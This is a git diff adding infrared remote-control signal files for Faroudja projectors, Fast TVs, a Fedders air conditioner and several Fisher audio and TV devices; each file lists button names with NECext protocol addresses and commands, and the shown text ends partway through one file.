00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir new file mode 100644 index 000000000..b96cbed3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: COMPOSITE_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 01 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 05 00 00 00 +# +name: COMPOSITE_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 09 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0A 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0D 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0E 00 00 00 +# +name: COMPOSITE_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 15 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir new file mode 100644 index 000000000..d54bbfb35 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: AUTO_ADJUST +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: RGB/PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir new file mode 100644 index 000000000..95347dc8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD/HD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B0 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: MENU/ENTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C5 00 00 00 +# +name: ID_SELECT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C8 00 00 00 +# +name: POINTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C9 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CA 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CB 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CC 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir new file mode 100644 index 000000000..2902e1493 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 02 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir new file mode 100644 index 000000000..b91a6538f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: 0-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 00 00 00 00 +# +name: 0-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 00 00 00 00 +# +name: 1-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: 1-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: 2-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: 2-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: 3-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: 3-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: 4-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: 4-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: 5-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: 5-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: 6-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: 6-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: 7-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: 7-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: 8-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: 8-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: 9-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 09 00 00 00 +# +name: 9-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 09 00 00 00 +# +name: POWER-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: POWER-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: MUTE-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: MUTE-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: GRUEN-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: GRUEN-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR_RIGHT-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_LEFT-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: PROGR+_A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: PROGR+_B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: PROGR-_A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: PROGR-_B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: VOR-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 22 00 00 00 +# +name: VOR-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 22 00 00 00 +# +name: OK-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 29 00 00 00 +# +name: OK-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 29 00 00 00 +# +name: IPG-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2D 00 00 00 +# +name: IPG-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2D 00 00 00 +# +name: PLAY-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 32 00 00 00 +# +name: PLAY-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 32 00 00 00 +# +name: FFW-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 34 00 00 00 +# +name: FFW-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 34 00 00 00 +# +name: STOP-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 36 00 00 00 +# +name: STOP-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 36 00 00 00 +# +name: REW-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 37 00 00 00 +# +name: REW-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 37 00 00 00 +# +name: EXIT-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3C 00 00 00 +# +name: EXIT-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3C 00 00 00 +# +name: VOL-_A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 41 00 00 00 +# +name: VOL-_B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 41 00 00 00 +# +name: VOL+_A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 42 00 00 00 +# +name: VOL+_B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 42 00 00 00 +# +name: I/II-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 48 00 00 00 +# +name: I/II-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 48 00 00 00 +# +name: ZURUECK-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5C 00 00 00 +# +name: ZURUECK-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5C 00 00 00 +# +name: STEP-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5D 00 00 00 +# +name: STEP-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5D 00 00 00 +# +name: JOBS-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5E 00 00 00 +# +name: JOBS-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5E 00 00 00 +# +name: ARCH-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5F 00 00 00 +# +name: ARCH-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5F 00 00 00 +# +name: BLAU-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 71 00 00 00 +# +name: BLAU-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 71 00 00 00 +# +name: GELB-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 72 00 00 00 +# +name: GELB-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 72 00 00 00 +# +name: ?-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 73 00 00 00 +# +name: ?-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 73 00 00 00 +# +name: TVTV-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 74 00 00 00 +# +name: TVTV-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 74 00 00 00 +# +name: ROT-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 75 00 00 00 +# +name: ROT-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 75 00 00 00 +# +name: LIVE-A +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 7D 00 00 00 +# +name: LIVE-B +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir new file mode 100644 index 000000000..30bffa123 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: T_MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: T_PROG+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: PROG+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: PROG- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: T_PROG- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: T_VOL- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 41 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 41 00 00 00 +# +name: T_VOL+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 42 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir new file mode 100644 index 000000000..e855aaaa0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: TEMP/TIME_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: TEMP/TIME_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: FAN_SPEED +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir new file mode 100644 index 000000000..436a17c7b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 30 30 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir new file mode 100644 index 000000000..9f51174ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 40 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 41 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 42 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 43 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 46 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 47 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 48 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 49 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 4A 00 00 00 +# +name: SIMULATED +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 4B 00 00 00 +# +name: DEFEAT +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 4E 00 00 00 +# +name: DEL._10 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 4F 00 00 00 +# +name: DEL._20 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 50 00 00 00 +# +name: DEL._30 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 51 00 00 00 +# +name: DEL._40 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 52 00 00 00 +# +name: DEL._50 +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 53 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 54 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 55 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 59 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 5A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 5B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 5C 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 36 C8 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir new file mode 100644 index 000000000..d0817e55f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir new file mode 100644 index 000000000..fb036bcbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir new file mode 100644 index 000000000..fe87a40e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 00 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 04 00 00 00 +# +name: QUICK +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 05 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 08 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 68 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir new file mode 100644 index 000000000..64f12fcf5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 00 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 01 00 00 00 +# +name: am +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0D 00 00 00 +# +name: tuning_up +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0E 00 00 00 +# +name: tuning_down +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0F 00 00 00 +# +name: deck_stop +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 10 00 00 00 +# +name: deck_f.fwd +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 11 00 00 00 +# +name: deck_rew +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 12 00 00 00 +# +name: deck_pause +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 13 00 00 00 +# +name: deck_fwd_play +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 15 00 00 00 +# +name: deck_rev_play +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 16 00 00 00 +# +name: deck_1/2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1B 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1D 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1F 00 00 00 +# +name: cd_stop +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 40 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 41 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 41 00 00 00 +# +name: cd_pause +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 42 00 00 00 +# +name: cd_1_open/close +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 43 00 00 00 +# +name: cd_2_auto_space +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 44 00 00 00 +# +name: cd_3_edit +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 45 00 00 00 +# +name: cd_4_side_ab +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 46 00 00 00 +# +name: cd_5_a-b +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 47 00 00 00 +# +name: cd_f.fwd +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 4E 00 00 00 +# +name: cd_f.back +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 4F 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 51 00 00 00 +# +name: tuning_mode +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 58 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 59 00 00 00 +# +name: digital_dat/tape-2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5B 00 00 00 +# +name: digital_aux +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5C 00 00 00 +# +name: digital_cd +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5D 00 00 00 +# +name: tape-1 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5E 00 00 00 +# +name: dat/tape-2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir new file mode 100644 index 000000000..ec487bbec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 01 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 02 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 03 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 04 00 00 00 +# +name: Remain +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 06 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0B 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0D 00 00 00 +# +name: Band +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0E 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0F 00 00 00 +# +name: KEY_3 